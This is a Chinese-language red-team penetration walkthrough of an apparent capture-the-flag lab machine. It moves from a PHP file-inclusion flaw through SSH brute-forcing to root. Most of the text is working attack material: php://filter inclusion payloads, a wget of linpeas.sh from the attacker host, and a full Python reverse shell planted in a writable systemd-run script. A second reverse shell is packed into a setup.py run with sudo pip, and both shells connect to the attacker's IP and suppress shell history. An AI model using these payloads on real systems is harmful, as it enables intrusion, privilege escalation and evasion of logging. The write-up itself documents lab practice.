一次红队渗透实战项目记录

尝试访问 fr.php 和 index.php，发现都跳转回主页！

通过抓包分析：curl 测试是否存在文件包含响应

curl -i http://192.168.40.190/?lang=fr
curl -i http://192.168.40.190/?lang=index
# -i 在输出中包含协议响应头

对比发现：

fr: HTTP/1.1 200 OK
index: HTTP/1.0 500 Internal Server Error

疑似存在文件包含，该文件底层可能存在 include() 函数，开始测试！

二、文件包含

通过过滤器方法绕过枚举出需要读的文件信息。

PHP 存在四种过滤器：PHP 过滤器用于验证和过滤来自非安全来源的数据，比如用户的输入。

1. 字符串过滤器：用户输入的内容会转换为大写、小写、ROT13 字符、或者去除 php 标记等功能。
2. 转换过滤器：就是用户输入的数据转换为 base64 编码和解码功能，还有将字符串转换为 8-bit 字符串功能。
3. 压缩过滤器：zip 中有 zlib 和 bzip2 等函数协议，功能就是在用户传输中会有压缩文件做一些压缩函数转换功能。
4. 加密过滤器 mcrypt 是 php 里面重要的加密支持扩展库，主要是用 mcrypt 扩展库中各种加密函数对用户输入内容进行转换功能。

那么不管是哪些过滤器，都可以尝试下面六种方法去操作测试是否可以进行文件包含：

/index.php?page=/etc/passwd
/index.php?page=../../../../../etc/passwd
/index.php?page=php://filter/read=...
/index.php?page=php://filter/convert.base64-encode/resource=...
/index.php?page=zip://page=data://

用过滤器测试下文件包含：

curl http://192.168.40.190/?lang=php://filter/convert.base64-encode/resource=index | head -n 1 | base64 -d

获得密码：

Niamey4Ever227!!!

但是不知道是哪个用户的密码，爆破 SSH 获得用户名！

三、SSH 用户名枚举爆破

1. cewl 枚举用户名

cewl http://192.168.40.190/

2. 暴力破解 SSH

利用实战常用的 gorailgun.exe。 记得修改下端口，项目 SSH 端口为 3333。

成功获得用户：mamadou

四、内部信息枚举

1. SSH 登录

ssh [email protected] -p 3333
# 密码：Niamey4Ever227!!!

输入进来发现这是 Python 2.7.9 的命令框。

通过 Python 获得 Bash 正常 Shell：

import pty;pty.spawn('/bin/bash');

获得正常 Shell！

2. 脚本信息枚举

开启 HTTP 服务上传扫描脚本 linpeas.sh：

python -m SimpleHTTPServer 8081
wget http://192.168.40.177:8081/linpeas.sh

上传成功！

赋权并执行脚本，linpeas.sh 信息枚举：

chmod +x linpeas.sh
./linpeas.sh

发现如下新信息：

发现新用户是 1002，说明包含了 2 个权限 uid=1001(devops) gid=1002(developer) groups=1002(developer)。

root 权限 pip，PIP 是 Python 包或模块的包管理器，包含模块所需的所有文件 rwxr-sr-- 1 root developer 281 Feb 27 2015 /usr/bin/pip。

3. find 深入枚举

1. mamadou 用户信息枚举

利用 find 针对 mamadou 查看可运行权限文件：

find / -user mamadou 2>&1 | grep -v "Permission denied"

发现 flag1：

cat /home/mamadou/flag1.txt

Flag : d86b9ad71ca887f4dd1dac86ba1c4dfc

2. devops 用户信息枚举

通过前面脚本枚举还发现存在另一个用户：devops，也利用 find 针对 devops 查看其可运行权限文件：

find / -user devops 2>&1 | grep -v "Permission denied|proc"

返回三个信息，具体查看下：

/srv/.antivirus.py
/tmp/test
/home/devops/flag2.txt

这里返回三个可疑信息：

尝试打开 flag2.txt：cat /home/devops/flag2.txt 提示无权限打开！

尝试打开 antivirus.py：

cat /srv/.antivirus.py

发现这是一个可读可写的 Python 脚本！

open('/tmp/test','w').write('test')

查看下 antivirus 是否存在计划任务启动该脚本：

find / -name *antivirus* 2>&1 | grep -v "Permission denied|proc"

发现存在 antivirus.service 服务！

查看下该服务内容：

cat /lib/systemd/system/antivirus.service

提示存在该服务存在计划任务，每 5 分钟 devops 用户执行一次。

RestartSec=300   # 300 秒运行一次
User=devops      # 这是 devops 用户运行

接下来利用该计划任务来编译反弹 Shell！

五、计划任务反弹 Shell

1. 写入计划任务

本地开启 nc 端口：

nc -tvlp 9999

nano 写入反弹 Shell：

nano /srv/.antivirus.py

写入以下 Shell：

#!/usr/bin/python
def con():
    import socket, time, pty, os
    host='192.168.40.177'
    port=9999
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((host,port))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    os.putenv("HISTFILE",'/dev/null')
    pty.spawn("/bin/bash")
    s.close()
con()

等 5 分钟成功反弹 devops 用户 Shell！

六、内部信息枚举–devops

1. 组信息枚举

cat /etc/group

developer 1002: —可看到还存在 group 组里的 developer。

2. find 查看权限文件

利用 find 针对 developer 查看可运行权限文件：

find / -group developer 2>&1 | grep -v "Permission denied|proc"

发现存在：/usr/bin/pip 可运行文件和 flag2。

3. 获取 Flag

cat /home/devops/flag2.txt

Flag 2 : d8ce56398c88e1b4d9e5f83e64c79098

在整个目录中枚举 devops：

grep -rn / -e devops 2>&1 | grep -v "Permission denied|proc"

没发现新的东西，但是可看到 devops 的 ID 为 1002 是共用的！

/etc/subgid:11:devops:755360:65536
/etc/group:56:devops:x:1001:/etc/passwd:29:devops:x:1001:1002:,,,:/home/devops:/bin/bash
/etc/subuid:11:devops:755360:65536

4. sudo 提权

尝试 sudo 提权：

sudo -l

提示用户可以在 /usr/bin/pip 执行 sudo：

User devops may run the following commands on Wakanda1:
    (ALL) NOPASSWD: /usr/bin/pip

七、pip 提权

pip 可执行 sudo 提权，那就利用 pip 写入 py 脚本运行。

开启 nc 反弹 Shell：

nc -vlp 4455

本地添加设置脚本 setup.py：

将 host 更改为本地 Kali 地址，端口随拟。

from setuptools import setup
import socket, subprocess, os

def con():
    import socket, time, pty, os
    host='192.168.40.177'
    port=4455
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((host,port))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    os.putenv("HISTFILE",'/dev/null')
    pty.spawn("/bin/bash")
    s.close()
con()

setup(name="root", version="1.0")

配置成功！

到 tmp 目录下上传 setup.py 脚本至靶机：

cd /tmp
wget http://192.168.40.177:8081/setup.py

上传成功！

sudo 运行脚本 setup.py：

sudo pip install setup.py .

成功获得反弹 Shell！

获得 Flag：

cd /root
cat root.txt

flag：821ae63dbe0c573eff8b69d451fb21bc

提权 pip：拓展思路

PoC：https://github.com/0x00-0x00/FakePip

用代理下载 FakePip 包：

proxychains git clone https://github.com/0x00-0x00/FakePip.git

下载成功！

查看脚本机制并配置参数：

cd FakePip
cat setup.py
gedit setup.py

将 lhost 改为本地 Kali 地址，端口可不变：

192.168.40.177
13372